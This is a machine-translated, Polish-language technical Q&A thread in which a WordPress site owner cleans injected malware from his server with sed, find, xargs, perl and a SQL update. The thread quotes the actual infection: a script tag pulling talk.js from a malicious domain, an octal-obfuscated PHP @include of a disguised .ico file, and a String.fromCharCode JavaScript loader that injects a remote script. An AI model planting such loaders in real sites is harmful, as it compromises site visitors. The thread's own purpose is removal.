Jak zastąpić cały ciąg za pomocą sed lub ewentualnie grep

10

Więc cały mój serwer został zhakowany lub wystąpił problem ze złośliwym oprogramowaniem. moja witryna oparta jest na WordPress, a większość witryn hostowanych na moim serwerze jest oparta na WordPress. Haker dodał ten wiersz kodu do każdego pliku i bazy danych

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

Przeszukałem go za pomocą grep przy użyciu

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

Próbuję go zastąpić w całej strukturze pliku sedi napisałem następujące polecenie.

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

index.phpNajpierw próbuję zastąpić ciąg w jednym pliku , więc wiem, że to działa.

i wiem, że mój kod jest nieprawidłowy. Proszę, pomóż mi z tym.

Próbowałem z kodem @ Eran, który usunął całą linię, co jest dobre i zgodnie z oczekiwaniami. Jest to jednak ogólny żargon

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

I chociaż chcę usunąć całą zawartość, chcę zachować tag otwierający php <?php.

Chociaż rozwiązanie @ slybloty jest łatwe i działało.

aby całkowicie usunąć kod ze wszystkich plików, których dotyczy problem. Korzystam z następujących 3 poleceń, dziękuję wam wszystkim za to.

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" - Aby usunąć wiersz skryptu
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'- Aby usunąć @includelinię
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d' - Aby usunąć wiersz komentarza

Ponownie uruchomiłem wszystkie 3 polecenia '*.html', ponieważ skrypt hakera utworzył niepożądany index.html we wszystkich katalogach. Nie byłem pewien, czy usunięcie tych plików index.html luzem jest właściwym podejściem.

teraz wciąż muszę znaleźć niepotrzebne pliki i ich ślady.

Skrypt hakera dodał również kod JS.

var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

Próbuję zobaczyć, czy mogę to sedzrobić.

Dilip Gupta
źródło
Skąd wiesz, że Twój kod jest nieprawidłowy?
Beta
Ponieważ go uruchomiłem i ciągle prosi o więcej danych w następnym wierszu, na przykład `>`
Dilip Gupta
2
Nie możesz po prostu usunąć linii? sed -i '/ trasnaltemyrecords / d'
Eran Ben-Natan
1
Ponadto, można dodać grep tam do pasz we wszystkich plików z tej linii w nich tak: opcja zapewnia tylko nazwę pliku, a nie dopasowywanie tekstu. while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"-l
Jason
1
Jeszcze jedno ... Jeśli zastosujesz to podejście, skorzystam z opcjonalnego parametru „kopia zapasowa” dla sed -i. Na przykład sed -i.bakutworzy *.bakplik dla wszystkich edytowanych plików. W przypadku użycia z while...greppętlą tworzy się kopie zapasowe tylko plików zawierających ten ciąg. Przepraszamy za wszystkie dodatkowe komentarze, ale moim zdaniem złośliwe oprogramowanie jest scenariuszem „wszystko pod ręką”.
Jason

Odpowiedzi:

2

Użyj podwójnego cudzysłowu ( ") dla łańcucha i nie unikaj pojedynczych cudzysłowów ( ') ani tagów ( <>). Unikaj tylko ukośników ( /).

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php
slybloty
źródło
2

Niezależnie od metody, której zdecydujesz się użyć z sedem, możesz uruchomić wiele procesów jednocześnie na wielu plikach z doskonałymi opcjami filtrowania za pomocą findi xargs. Na przykład:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

To będzie:

  • find - odnaleźć
  • -type f - tylko pliki
  • -name '*.txt' - ten koniec z php
  • -print0 - pritn je oddzielone zerowymi bajtami
  • | xargs -0 - dla każdego pliku oddzielonego bajtem zerowym
  • -P7 - uruchomić jednocześnie 7 procesów
  • -n1 - dla każdego pliku
  • sed - dla każdego pliku uruchom sed
  • -i - edytuj plik na miejscu
  • '...' - skrypt sed, który chcesz uruchomić z innych odpowiedzi.

Możesz dodać -topcję, xargsaby zobaczyć postęp. Zobacz man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).

KamilCuk
źródło
2

Pojedyncze cudzysłowy są traktowane dosłownie bez znaków specjalnych. W var='hello\''masz niezamkniętą wycenę.

Aby rozwiązać ten problem: 1) Użyj podwójnych cudzysłowów, aby otoczyć sedpolecenie LUB 2) Zakończ ciąg pojedynczego cudzysłowu, dodaj \'i ponownie otwórz ciąg cudzysłowu.

Druga metoda jest jednak bardziej myląca.

Dodatkowo sedmożna użyć dowolnego separatora do oddzielenia poleceń. Ponieważ w poleceniach masz ukośniki, łatwiej jest używać przecinków. Na przykład przy użyciu pierwszej metody:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,,g" index.php

Za pomocą drugiej metody:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,,g' index.php

Ten przykład jest bardziej edukacyjny niż praktyczny. Oto jak '\''działa:

Po pierwsze ': Zakończ bieżący cytowany ciąg literału

\': Wpisz pojedynczy cudzysłów jako literalny znak

Po drugie ': Wprowadź ponownie literał ciąg znaków

Dopóki nie będzie tam spacji, będziesz kontynuował seddowodzenie. Ten pomysł jest unikalny dla bash.

Zostawiam ucieczkę <i >tam, ponieważ nie jestem do końca pewien, do czego tego używasz. sedużywa „ \<i” w \>celu dopasowania słów. Nie jestem pewien, czy jest to celowe, czy nie.

Jeśli to nic nie pasuje, prawdopodobnie chcesz uniknąć ucieczki od <i >.

Edycja: Proszę zobaczyć rozwiązanie @ EranBen-Natan w komentarzach, aby uzyskać bardziej praktyczne rozwiązanie rzeczywistego problemu. Moja odpowiedź jest bardziej zasobem wyjaśniającym, dlaczego OP był proszony o więcej danych wejściowych przy użyciu swojego oryginalnego polecenia.

Rozwiązanie do edycji 2

Aby to zadziałało, zakładam, że masz sedniestandardową opcję -z. Wersja GNU sedpowinna to mieć. Przyjmuję również założenie, że ten kod zawsze pojawia się w formacie o długości 6 linii

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,116,116,112,115' .)"

Jak to działa: używamy początku linii fromCharCode, aby dopasować wszystko. -zdzieli plik na wartości null zamiast nowych wierszy. To pozwala nam bezpośrednio wyszukiwać informacje o liniach.

[^\n]*\n- To dopasowuje wszystko do wysunięcia wiersza, a następnie dopasowuje wysuw wiersza, unikając chciwego dopasowania wyrażenia regularnego. Ponieważ nie dzielimy na line feeds ( -z), wyrażenie regularne var pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\ndopasowuje największe możliwe dopasowanie. Na przykład, jeśli \n}\npojawił się gdzieś w dalszej części pliku, usunąłbyś cały kod pomiędzy nim a złośliwym kodem. Zatem powtórzenie tej sekwencji 6 razy dopasowuje nas do końca pierwszej linii, a także kolejnych 5 linii.

grep -lr- Po prostu rekurencyjny, w grepktórym wymieniliśmy tylko pliki, które mają pasujący wzorzec. W ten sposób sednie jest edytowanie każdego pliku. Bez tego -i.bak(nie zwykły -i) zrobiłby bałagan.

Jason
źródło
Dzięki @Jason, spróbuję do tego twojej metody. W tej chwili nie mam opcji tworzenia kopii zapasowej. Więc utknąłem z czyszczeniem.
Dilip Gupta
@DilipGupta Sugeruję utworzenie kopii zapasowej tam, gdzie teraz jesteś. Możesz użyć czegoś takiego jak rsynctworzenie kopii zapasowych i przywracanie.
Jason
Czy używasz adminer.php? wydaje się być
zarażony
1

Czy masz zainstalowaną wtyczkę wp-mail-smtp? Mamy to samo złośliwe oprogramowanie i mieliśmy w sobie coś dziwnego wp-content/plugins/wp-mail-smtp/src/Debug.php.

Łącze javascript znajduje się w każdym post_contentpolu w wp_postsbazie danych WordPress.

skuroedov
źródło
Tak, mam zainstalowaną tę wtyczkę i jest tam, jak powiedziałeś. Najpierw próbuję posprzątać, a następnie zaostrzyć zabezpieczenia. Zauważ też, że haker zainstalował wtyczkę o nazwie super-socialat, sprawdź to również.
Dilip Gupta,
Co dokładnie znalazłeś w tym Debug.php, nie znalazłem tam nic dziwnego, ale może jest on przechowywany w innym pliku, jeśli podasz część kodu, może mógłbym przeszukać pliki? Nie znaleziono zainstalowanej nowej wtyczki.
Jiro Matchonson
1
Z jakiego edytora korzystałeś? Jeśli otworzę to w vimie, zobaczę tę dziwną rzecz, ale nie w nano lub edytorze takim jak Geany .... imgur.com/a/wC9XAIy pastebin.com/Y39KEfDL
skuroedov
Cześć, szukałem tego przez winscp, ale teraz także spróbowałem vi, wciąż nic nie znalazłem. Tnx na przykład źle przeszukuje go w plikach.
Jiro Matchonson
Na pierwszy rzut oka wydaje się, że jest to instrukcja SQL, która jest zapisywana za pomocą pozycji liter w zmiennej $ GLOBALS lub coś w tym rodzaju, więc nie można jej znaleźć, szukając po prostu „trasnaltemyrecords”. Próbowałem szukać grep -r „NULL” ); @ $ "/ var / www / html / { ,. } lub inne rzeczy, ale nic nie znalazłem. W każdym razie miałem stary adminer.php na stronie wordpress, więc może to być również źródło tego wycieku, może ...
Jiro Matchonson
0

Mam dzisiaj to samo, do wszystkich postów na stronie dodano ten paskudny skrypt wirusa

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

Wyłączyłem go z bazy danych przez

UPDATE wp_posts SET post_content = REPLACE(post_content, "src='https://scripts.trasnaltemyrecords.com", "data-src='https://scripts.trasnaltemyrecords.com")

Nie mam przynajmniej zainfekowanych plików

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

nic nie znalazłem, ale nie mam pojęcia, jak to się dostało do bazy danych, z której wcale nie jestem spokojny.

Ta infekcja spowodowała przekierowania na stronach, chrome najczęściej to wykrywa i blokuje. Nie zauważyłem niczego dziwnego w - /wp-mail-smtp/src/Debug.php

Jiro Matchonson
źródło
Zakładam, że jest to związane z przerwą w działaniu wtyczki i haker uzyskał dostęp do strony za pomocą tylnych drzwi.
Dilip Gupta
Ale która wtyczka minęła 2 hous i wszystko wróciło ponownie
Jiro Matchonson
0

Mam dzisiaj to samo, wszystkie posty na stronie mają dodany skrypt. Poradziłem sobie z nimi z powodzeniem, używając https://en.wordpress.org/plugins/search-and-replace/ wtyczki.

Ponadto znalazłem również jeden rekord w kolumnie wp_posts w kolumnie post_content następujący łańcuch:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

i usunąłem go ręcznie.

mik013
źródło
0

Dla mnie pracował to:

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s, document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

Musisz wyszukać: * .js, * .json, * .map

Vladimír Malík
źródło